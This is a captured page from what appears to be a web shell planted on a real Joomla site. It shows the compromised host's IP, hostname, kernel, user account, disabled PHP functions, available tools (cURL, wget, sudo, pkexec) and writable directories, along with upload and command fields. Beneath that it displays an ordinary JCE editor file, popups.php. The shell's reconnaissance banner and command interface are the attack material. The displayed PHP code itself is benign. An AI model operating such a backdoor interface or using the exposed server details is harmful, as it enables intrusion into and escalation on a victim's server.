Private
Server IP : 195.201.23.43  /  Your IP : 18.222.21.82
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/kdecoratie/public_html/components/com_jce/editor/elements/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/kdecoratie/public_html/components/com_jce/editor/elements/popups.php
<?php

/**
 * @package   	JCE
 * @copyright 	Copyright (c) 2009-2017 Ryan Demmer. All rights reserved.
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 */
defined('JPATH_BASE') or die('RESTRICTED');

/**
 * Renders a select element
 */
class WFElementPopups extends WFElement {

    /**
     * Element type
     *
     * @access	protected
     * @var		string
     */
    var $_name = 'Popups';

    public function fetchElement($name, $value, &$node, $control_name) {
        jimport('joomla.filesystem.folder');
        jimport('joomla.filesystem.file');

        $language = JFactory::getLanguage();

        // "Default" list
        if ($name == 'default') {
            // path to directory
            $path = WF_EDITOR_EXTENSIONS . '/popups';

            $filter = '\.xml$';
            $files  = JFolder::files($path, '\.xml', false, true);

			      $installed = self::getInstalledPlugins();

            if (!empty($installed)) {
                foreach ($installed as $p) {
                  $path = JPATH_PLUGINS . '/jce/' . $p->name;

                  // Joomla 1.5!!
                  if (!defined('JPATH_PLATFORM')) {
                      $path = JPATH_PLUGINS . '/jce';
                  }

                  $files[] = $path . '/' . $p->name . '.xml';
                }
            }

            $options = array();
            $options[] = JHTML::_('select.option', '', WFText::_('WF_OPTION_NOT_SET'));

            foreach ($files as $file) {
                $filename = basename($file, '.xml');
                // get file name without extension type
                $parts    = explode("-", $filename);
                $filename = array_pop($parts);

                // legacy
                $language->load('com_jce_popups_' . $filename, JPATH_SITE);
                // new
                $language->load('plg_jce_popups_' . $filename, JPATH_SITE);

                $xml        = WFXMLHelper::parseInstallManifest($file);
                $options[]  = JHTML::_('select.option', $filename, WFText::_($xml['name']));
            }

            return JHTML::_('select.genericlist', $options, '' . $control_name . '[' . $name . ']', 'class="inputbox plugins-default-select"', 'value', 'text', $value);
        }
    }

    protected static function getInstalledPlugins() {
        $db   = JFactory::getDBO();
        $user = JFactory::getUser();

        // Joomla! 2.5+
        if (defined('JPATH_PLATFORM')) {

          $levels = implode(',', $user->getAuthorisedViewLevels());

          $query = $db->getQuery(true)
            ->select('element AS name')
            ->from('#__extensions')
            ->where('enabled = 1')
            ->where('type = ' . $db->quote('plugin'))
            ->where('folder = ' . $db->quote('jce'))
            ->where('element LIKE ' . $db->quote('popups-%'))
            ->where('state IN (0,1)')
            ->where('access IN (' . $levels . ')')
            ->order('ordering');

            return $db->setQuery($query)->loadObjectList();

        } else {
          $aid = $user->get('aid', 0);
          $query = 'SELECT element AS name'
            . ' FROM #__plugins'
            . ' WHERE published >= 1'
            . ' AND folder = ' . $db->quote('jce')
            . ' AND element LIKE ' . $db->quote('popups-%')
            . ' AND access <= ' . (int) $aid
            . ' ORDER BY ordering';

          $db->setQuery($query);
          return $db->loadObjectList();
        }
    }
}

?>
Private